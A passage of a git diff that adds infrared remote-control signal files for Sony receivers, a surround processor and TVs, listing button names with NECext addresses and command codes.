00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD15 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD16 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD17 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_ARENA +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_CHURCH +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_DISCO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_JAZZ +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_LARGE_HALL +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_LIVE_HOUSE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_MOVIE_MONO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_MOVIE_STERE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_NIGHT_THEAT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_NORMAL +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_OPERA_HOUSE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_SMALL_HALL +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_STADIUM +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_STUDIO_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_STUDIO_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_STUDIO_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_VIRT_THEATA +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_VIRT_THEATB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SURROUND_VIRT_THEATC +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: ANALOG_DIRECT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: ARENA +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_C_STUDIO_EX_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_C_STUDIO_EX_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: HEADPHONE_THEATER +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LARGE_HALL +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LIVE_HOUSE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SEMI_C_STUDIO_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SMALL_HALL +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: STEREO_MOVIE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRT_ENHANCED_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_MATRIX_6.1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_MULTI_DIMENS +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_MULTI_REAR +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: 2_CH._STEREO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: AUTO_DECODE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_EX_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_EX_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CINEMA_STUDIO_EX_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DIGITAL_CONCERT_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DIGITAL_CONCERT_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DISCO/CLUB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_OFF +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_PESET_1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_PESET_2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_PESET_3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_PESET_4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: EQ_PESET_5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: OPERA_HOUSE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SEMI-CINEMA_EX_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SEMI-CINEMA_EX_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SEMI-CINEMA_EX_C +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_ENHANCED_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_ENHANCED_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_MULTI-DIMENS +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VIRTUAL_SEMI-MULTI_D +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: VITUAL_MULTI-REAR +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir new file mode 100644 index 000000000..2b29eafa2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 +# +name: SYSTEM_STANDBY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir new file mode 100644 index 000000000..a9d09bdd2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 10 00 00 00 +# +name: PRESET/CH/D._SKIP_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 10 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 11 00 00 00 +# +name: PRESET/CH/D._SKIP_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 15 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 21 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 22 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 23 00 00 00 +# +name: CD/SACD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 25 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 25 00 00 00 +# +name: BAL_L +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 26 00 00 00 +# +name: BALANCE_R +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 27 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 2F 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 42 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 53 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 60 00 00 00 +# +name: MD/DAT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 69 00 00 00 +# +name: MD/TAPE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 69 00 00 00 +# +name: MD_TAPE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 69 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 6A 00 00 00 +# +name: MULTI_CH +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 72 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 7D 00 00 00 +# +name: DVD/LD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir new file mode 100644 index 000000000..7a20df588 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir new file mode 100644 index 000000000..657c04e3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir new file mode 100644 index 000000000..8379c8992 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir new file mode 100644 index 000000000..a8840a06d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 12 00 00 00 +# +name: REAR_BAL_L +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 26 00 00 00 +# +name: REAR_BAL_R +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 27 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 32 00 00 00 +# +name: MENU_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 38 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 38 00 00 00 +# +name: DOLBY_SURROUND +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 3D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 3E 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 42 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 43 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4B 00 00 00 +# +name: FRONT_BAL_L +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4C 00 00 00 +# +name: FRONT_BAL_R +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4D 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4E 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4F 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 54 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 55 00 00 00 +# +name: SUBWOOFER_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 57 00 00 00 +# +name: MENU_DWN +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir new file mode 100644 index 000000000..503a95569 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir @@ -0,0 +1,626 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: 1- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 2- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: NORMALIZE_PICT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MTS/SAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: HUE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: HUE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: INPUT_TV_TUNER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: INPUT_SCROLL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: BALANCE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: BALANCE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: ANT/AUX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: TIMER_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: TIMER_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: CLOCK_SET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: TELETEXT_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: PICTURE_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3E 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: INPUT_VIDEO_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: INPUT_RGB_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: INPUT_RGB_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: INPUT_VIDEO_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: INPUT_VIDEO_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: INPUT_VIDEO_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: INPUT_VIDEO_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: INPUT_VIDEO_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: INPUT_VIDEO_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: INPUT_VIDEO_10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_VIDEO_11 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: INPUT_VIDEO_12 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: INTERNAL_SPKS_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: ALARM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: TABLET_CHANGE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: PIP_CHANNEL_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: PIP_CHANNEL_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: PIP_TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: PIP_POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 63 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: UP_(SELECT) +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 67 00 00 00 +# +name: PIP_-_SELECT_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 67 00 00 00 +# +name: TV_SYS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 68 00 00 00 +# +name: STEREO_/_MONO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 69 00 00 00 +# +name: COLOUR_SYS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6A 00 00 00 +# +name: AUTO_PROGRAM_SCAN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6B 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6E 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6F 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 70 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 71 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 72 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: CHANNEL_ADD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 78 00 00 00 +# +name: CHANNEL_SKIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 79 00 00 00 +# +name: PARAMETER_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 +# +name: TRINITRON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir new file mode 100644 index 000000000..8a0a43c8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_SAVING +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 36 00 00 00 +# +name: DRC_MODE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 39 00 00 00 +# +name: FAVORITES +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 76 00 00 00 +# +name: FAVS +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 76 00 00 00 +# +name: ON_(ID_MODE) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7C 00 00 00 +# +name: OFF_(ID_MODE) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7D 00 00 00 +# +name: SET_(ID_MODE) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir new file mode 100644 index 000000000..b0bf5ced5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 1A 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 1B 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 1C 00 00 00 +# +name: DIGIT_SEPARATOR +type: parsed +protocol: NECext +address: 97 00 00 00 